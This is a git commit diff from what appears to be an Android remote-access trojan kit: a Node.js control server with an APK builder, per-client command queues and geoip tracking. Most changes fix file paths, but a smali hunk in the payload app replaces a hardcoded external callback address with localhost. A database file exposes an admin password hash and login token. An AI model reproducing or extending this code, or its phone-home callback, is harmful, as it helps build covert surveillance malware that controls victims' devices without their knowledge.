Fixed directory issues

This commit is contained in:
ChrisStone07 2020-04-08 02:36:39 +05:30
parent 9f1c906998
commit 45c6825fc5
62 changed files with 17 additions and 11 deletions

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 212 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 225 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 212 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 225 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 93 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 215 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 223 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 215 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 223 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 93 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 221 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 252 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 221 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 247 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 99 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

View File

@ -64,7 +64,7 @@
invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
const-string v2, "http://47.91.41.155:22222?model="
const-string v2, "http://localhost:80?model="
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

Binary file not shown.

Binary file not shown.

View File

@ -2,7 +2,7 @@ const
lowdb = require('lowdb'),
FileSync = require('lowdb/adapters/FileSync'),
path = require('path'),
adapter = new FileSync('./maindb.json'),
adapter = new FileSync(path.join(__dirname, '../maindb.json')),
db = lowdb(adapter);
db.defaults({
@ -18,7 +18,7 @@ db.defaults({
class clientdb {
constructor(clientID) {
let cdb = lowdb(new FileSync('./clientData/' + clientID + '.json'))
let cdb = lowdb(new FileSync(path.join(__dirname, '../clientData/') + clientID + '.json'))
cdb.defaults({
clientID,
CommandQue: [],

View File

@ -10,12 +10,13 @@ const
app = express(),
server = require('http').createServer(app),
IO = require('socket.io')(server),
path = require('path'),
geoip = require('geoip-lite'),
CONST = require('./includes/const'),
db = require('./includes/databaseGateway'),
logManager = require('./includes/logManager'),
clientManager = new(require('./includes/clientManager'))(db),
apkBuilder = require('./includes/apkBuilder');
CONST = require(path.join(__dirname,'/includes/const')),
db = require(path.join(__dirname,'/includes/databaseGateway')),
logManager = require(path.join(__dirname, '/includes/logManager')),
clientManager = new(require(path.join(__dirname, '/includes/clientManager')))(db),
apkBuilder = require(path.join(__dirname, '/includes/apkBuilder'))
global.CONST = CONST;
global.db = db;
@ -71,6 +72,6 @@ IO.on('connection', (socket) => {
server.listen(process.env.PORT || CONST.web_port)
app.set('view engine', 'ejs');
app.set('views', './assets/views');
app.set('views', path.join(__dirname, '/assets/views'));
app.use(express.static(__dirname + '/assets/webpublic'));
app.use(require('./includes/expressRoutes'));
app.use(require(path.join(__dirname, '/includes/expressRoutes')));

View File

@ -2,7 +2,7 @@
"admin": {
"username": "admin",
"password": "ffe553694f5096471590343432359e02",
"loginToken": "ddd9d299c3380709efbc19ac381b4fad",
"loginToken": "97d5d9887360786b09e7ff89df307e72",
"logs": [
{
"time": "2020-01-11T15:23:07.971Z",
@ -58,6 +58,11 @@
"time": "2020-03-23T04:59:46.252Z",
"type": "SUCCESS",
"message": "Build Succeded!"
},
{
"time": "2020-04-07T21:03:16.469Z",
"type": "SUCCESS",
"message": "Build Succeded!"
}
],
"ipLog": []